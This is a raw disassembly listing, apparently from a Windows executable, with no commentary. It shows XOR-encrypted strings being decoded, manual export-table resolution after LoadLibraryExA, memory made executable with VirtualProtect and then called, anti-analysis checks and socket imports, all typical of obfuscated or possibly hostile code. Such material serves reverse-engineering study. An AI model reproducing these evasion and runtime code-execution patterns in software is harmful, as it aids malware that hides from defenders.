mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d84d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d84d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d86d
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d288
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14002da0c
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], Ordinal_211
mov r10, r14
movabs rsi, 0x1b6acfdbc
movabs r8, 0x1d217cd98d
lea r11d, [rax + 0x11]
movabs r9, 0x3a42f9b31a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
add r10, r15
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002d8d8
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400f23e0]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400f23a0]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x52dd
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb78]
xor dil, r8b
mov byte [rbp + r8 + 0xb78], dil
add r8, r15
add r9, r12
add r10, 0x22
movabs rax, 0x7485f36634
cmp r9, rax
jb 0x14002d974
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.14009d288
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x140114350], r14
jne 0x14002da48
mov ecx, 0x26b0
call fcn.1400a1b4c
test rax, rax
je 0x14002da48
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x140114350], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400f2670]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140037a94
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
add rdi, r15
cmp rdi, 0x17
jb 0x14002da87
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x140114350]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14002dba3
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002db5b
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400a1b4c
mov rsi, rax
test rax, rax
je 0x14002dba0
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140114350]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400bfd40
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c03e0
mov rcx, rdi
call fcn.1400a1a28
mov qword [0x140114350], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.1400379ac
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14002dbc4
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x140114350]
test rbx, rbx
je 0x14002dcce
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002dc88
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a1b4c
mov rsi, rax
test rax, rax
je 0x14002dccb
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140114350]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400bfd40
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c03e0
mov rcx, rdi
call fcn.1400a1a28
mov qword [0x140114350], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002dd5b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002dd5b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002dd5b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002dd5b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002dd5b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002dd4e
inc rax
test edi, edi
jne 0x14002dd39
test r8d, r8d
je 0x14002ddd2
inc rdx
cmp rdx, rsi
jb 0x14002dd28
mov esi, r14d
mov rdi, qword [0x140114350]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x14002dfa7
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002df94
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002df94
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002df59
xor edx, edx
call fcn.1400c03e0
jmp 0x14002df92
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002dd5b
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x14002ddf6
xor r14d, r14d
jmp 0x14002dd5b
mov r9d, 4
mov r12d, 0x3000
mov r8d, r12d
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400962c0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140038570
lea rcx, [rbp + 0x87b0]
call fcn.140037b08
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.140037b08
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002de6d
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400bfd40
mov dword [0x14010a684], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x14010a680]
movsd qword [rdi], xmm0
movzx eax, word [0x14010a688]
mov word [rdi + 8], ax
mov al, byte [0x14010a68a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x1020]
lea r8d, [r14 + 3]
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400c03e0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x14010a684], r14d
jmp 0x14002dd5e
cmp al, 1
jne 0x14002df94
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.1400382d8
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14003848c
lea rcx, [rbp + 0x1168]
call fcn.14003841c
lea rcx, [rbp + 0x1168]
call fcn.140011998
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14002dd87
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c03e0
mov rcx, rdi
call fcn.1400a1a28
xor r15d, r15d
mov qword [0x140114350], r15
test esi, esi
js 0x14003644e
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14003644e
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400a1b4c
test rax, rax
je 0x14002e00a
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x140114350], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400f2670]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140037a94
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14002e04d
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x140114350]
test rbx, rbx
je 0x14002e174
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e120
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a1b4c
mov rsi, rax
test rax, rax
je 0x14002e167
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140114350]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400bfd40
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c03e0
mov rcx, rdi
call fcn.1400a1a28
mov qword [0x140114350], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002e16a
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.1400379ac
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14002e18b
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x140114350]
test rbx, rbx
je 0x14002e29a
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e252
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a1b4c
mov rsi, rax
test rax, rax
je 0x14002e297
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140114350]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400bfd40
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c03e0
mov rcx, rdi
call fcn.1400a1a28
mov qword [0x140114350], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002e29a
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002e32b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002e32b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002e32b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002e32b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002e32b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002e31a
inc rax
test edi, edi
jne 0x14002e305
test r8d, r8d
je 0x14002e3a9
inc rdx
cmp rdx, rsi
jb 0x14002e2f4
mov esi, r15d
mov rdi, qword [0x140114350]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x14002e579
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x14002e566
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002e566
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x14002e52c
xor edx, edx
mov rcx, rax
call fcn.1400c03e0
jmp 0x14002e566
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002e32b
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14002e32b
cmp cl, 1
jne 0x14002e566
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.1400382d8
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14003848c
lea rcx, [rbp + 0x1148]
call fcn.14003841c
lea rcx, [rbp + 0x1148]
call fcn.140011998
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14002e35b
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c03e0
mov rcx, rdi
call fcn.1400a1a28
mov qword [0x140114350], r13
test esi, esi
js 0x1400362b5
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400362b5
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x14002e629
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14002e6a2
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x14002e684
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x14002e73e
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14002e7b6
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], Ordinal_211
mov r10, r13
movabs rbx, 0x1b6acfdbd
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1d217cd98d
movabs r9, 0x3a42f9b31a
movabs r14, 0x1b6acfdbc
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140036309
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400f2580]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0xcc4a7
mov dword [rbp + 0x96c], 0xf3a62c29
mov dword [rbp + 0x970], 0x37e0f6d5
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x2ffaebc0ac
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x958]
xor dil, r8b
mov byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x5ff5d78158
cmp r9, rax
jb 0x1400363b4
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], Ordinal_211
mov r10, r15
movabs rbx, 0x1b6acfdbd
movabs rsi, 0x8080808080808081
movabs r8, 0x1d217cd98d
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3a42f9b31a
movabs r14, 0x1b6acfdbc
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x308]
xor dil, r10b
mov byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400364a2
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400f26b0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x62ab3e27
mov word [rbp + 0x754], 0xef
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x23fc30d081
movabs r10, 0x47f861a102
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14003654e
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d288
int3
mov ebx, 0xf95e3ae5
cmp rax, rbx
jne 0x140036686
mov rax, qword gs:[0x45]
movabs rcx, 0xccb3654c6870e515
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036666
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036666
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036686
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], Ordinal_211
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x1d217cd98d
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3a42f9b31a
movabs r15, 0x1b6acfdbc
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400366d0
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400f25e0]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x4e420490
mov dword [rbp + 0x82c], 0xd318f1
mov r8, r14
movabs r9, 0x27698acbfb
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x4ed31597f6
cmp r9, rax
jb 0x14003676b
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x37]
cmp rax, rbx
jne 0x1400368b1
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036891
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036891
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400368b1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, rbx
jne 0x140036f5a
mov rax, qword gs:[0x45]
mov ebx, 0xeb6f8fc5
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
